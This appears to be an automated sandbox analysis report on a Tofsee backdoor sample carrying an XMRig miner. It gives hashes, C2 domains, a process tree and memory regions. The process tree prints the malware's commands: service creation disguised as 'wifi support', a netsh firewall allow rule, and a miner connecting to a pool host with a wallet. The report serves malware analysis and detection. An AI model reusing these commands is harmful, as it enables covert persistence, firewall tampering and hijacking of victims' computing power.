Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13-05-2023 07:55

General

  • Target

    file.exe

  • Size

    294KB

  • MD5

    49c95ae2a4f0069f5ef8cb7c70860531

  • SHA1

    1fc8490eb5d14a148a263e744bd791b1f01e6f6a

  • SHA256

    72d074460e5807725c7d6f0ca1f923dbd069b93f86f718f3cb91c9140dd08007

  • SHA512

    28be09331d4bf0191a8bb909fdb17a99bafc193e4433ebd6ff1614ba4ecdb3d3ed8ab0840bcae2b59aee04aea41b6ef9bd12b62332b308417b755c2aaaad5c66

  • SSDEEP

    3072:/pXlqtP8WsLZPdb/3dLhA2AquW0eAb14h+8hsFd825sCwKV1IN:1lkPHsLZPV/3aquSA5U6dUCa

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ilvjzoyz\
      2⤵
        PID:1856
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pbnspvui.exe" C:\Windows\SysWOW64\ilvjzoyz\
        2⤵
          PID:296
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ilvjzoyz binPath= "C:\Windows\SysWOW64\ilvjzoyz\pbnspvui.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ilvjzoyz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ilvjzoyz
          2⤵
          • Launches sc.exe
          PID:1484
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1668
      • C:\Windows\SysWOW64\ilvjzoyz\pbnspvui.exe
        C:\Windows\SysWOW64\ilvjzoyz\pbnspvui.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1836
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1760
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1684

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pbnspvui.exe

        Filesize

        11.2MB

        MD5

        7d31e9bf1627a84ce38c7755eb8ec182

        SHA1

        0c37f734d2a742d248436e7954462bd1c497ccc2

        SHA256

        7e4695780920b7a2cb77e4e7dc8d5e598d23b4e7d872cde3ad3c9d6ae1063bfb

        SHA512

        a83357badf5187cc6b77d54966e1732875db10d39bda9f940a39a9bc558880212e9bf88bfec424305a010751fc2a30fdc3d376eb29617a348164a557c3590ec7

      • C:\Windows\SysWOW64\ilvjzoyz\pbnspvui.exe

        Filesize

        11.2MB

        MD5

        7d31e9bf1627a84ce38c7755eb8ec182

        SHA1

        0c37f734d2a742d248436e7954462bd1c497ccc2

        SHA256

        7e4695780920b7a2cb77e4e7dc8d5e598d23b4e7d872cde3ad3c9d6ae1063bfb

        SHA512

        a83357badf5187cc6b77d54966e1732875db10d39bda9f940a39a9bc558880212e9bf88bfec424305a010751fc2a30fdc3d376eb29617a348164a557c3590ec7

      • memory/1684-111-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-124-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-123-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-122-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-121-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-120-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-119-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1684-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1684-112-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1760-88-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-94-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-75-0x00000000001A0000-0x00000000001A6000-memory.dmp

        Filesize

        24KB

      • memory/1760-78-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-81-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-82-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-83-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-84-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-85-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-87-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-86-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1760-89-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-90-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-91-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-92-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-93-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-74-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1760-95-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-96-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-97-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/1760-98-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/1760-101-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/1760-102-0x0000000005A60000-0x0000000005E6B000-memory.dmp

        Filesize

        4.0MB

      • memory/1760-105-0x0000000005A60000-0x0000000005E6B000-memory.dmp

        Filesize

        4.0MB

      • memory/1760-106-0x0000000000330000-0x0000000000337000-memory.dmp

        Filesize

        28KB

      • memory/1760-110-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1760-71-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1760-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1760-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1760-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1760-67-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1760-63-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1836-64-0x0000000000400000-0x0000000002367000-memory.dmp

        Filesize

        31.4MB

      • memory/1852-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1852-60-0x0000000000400000-0x0000000002367000-memory.dmp

        Filesize

        31.4MB